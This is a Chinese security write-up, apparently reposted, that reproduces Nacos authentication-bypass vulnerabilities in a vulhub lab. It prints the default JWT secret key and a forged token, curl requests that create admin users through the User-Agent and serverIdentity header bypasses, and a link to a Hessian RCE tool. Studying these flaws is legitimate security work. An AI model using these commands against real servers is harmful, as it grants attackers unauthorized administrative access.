扫码领资料
获网安教程
JWT_Secret_Key硬编码导致的认证绕过漏洞(QVD-2023-6271)
不当处理User-Agent导致的认证绕过漏洞(CVE-2021-29441)
identity key value 硬编码权限绕过
Hessian 反序列化 RCE
为了方便直接用vulhub
版本:NACOS v1.4.0
cd vulhub-master\nacos\CVE-2021-29441
docker compose up -d
docker compose restart nacos
某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务 访问http://127.0.0.1:8848/nacos/#/login
默认账号密码都是nacos
尽管设置了 NACOS_AUTH_ENABLE=true
和自定义的 NACOS_AUTH_TOKEN
,自定义的 token 并未生效,用户仍需使用默认的 secret.key
来生成可访问 API 接口的 access_token
。预期是使用自定义的 NACOS_AUTH_TOKEN
来生成并使用 access_token
,但实际上仍需要依赖默认的 secret.key
在application.properties中可以看到
secret.key的值默认为SecretKey012345678901234567890123456789012345678901234567890123456789
在得到key的值后我们可以任意伪造jwt
curl -XPOST 'http://ip:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=123456'
访问接口 创建一个admin用户 密码123456
版本: <=Nacos 1.4.1 配置为使用身份验证(-Dnacos.core.auth.enabled=true)
nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证 可调用敏感接口
list用户接口
http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
获取当前用户列表以及密码
直接访问会403
将user-agent头修改为Nacos-Server即可绕过
添加用户接口:
POST
/nacos/v1/auth/users?username=admin&password=123456
User-Agent: Nacos-Server
pageNo=1&pageSize=9
创建登录成功
影响版本:Nacos <= 2.2.0 nacos.core.auth.enabled=true
当请求头携带"serverIdentity:security"时 可绕过权限认证
https://github.com/alibaba/nacos/blob/d40190ee24af94fa87414b88239c47693c524333/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L65
检查authConfigs
对象中是否设置了serverIdentityKey
和serverIdentityValue
如果这两个配置项都非空,代码会从HTTP请求的头部获取服务器身份信息 再对比header中value的值和配置文件中nacos.core.auth.server.identity.value的值是否相同,如果相同则通过权限校验
利用:
添加用户接口curl -XPOST 'http://ip:8848/nacos/v1/auth/users?username=admin2&password=123456' -H "serverIdentity: security"
1.4.0 <= Nacos < 1.4.6 2.0.0 <= Nacos < 2.2.3
Nacos默认的7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化
https://github.com/c0olw/NacosRce
直接用大佬的工具一把嗦
来源: https://xz.aliyun.com/t/13193
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
看到这里了,点个“赞”、“再看”吧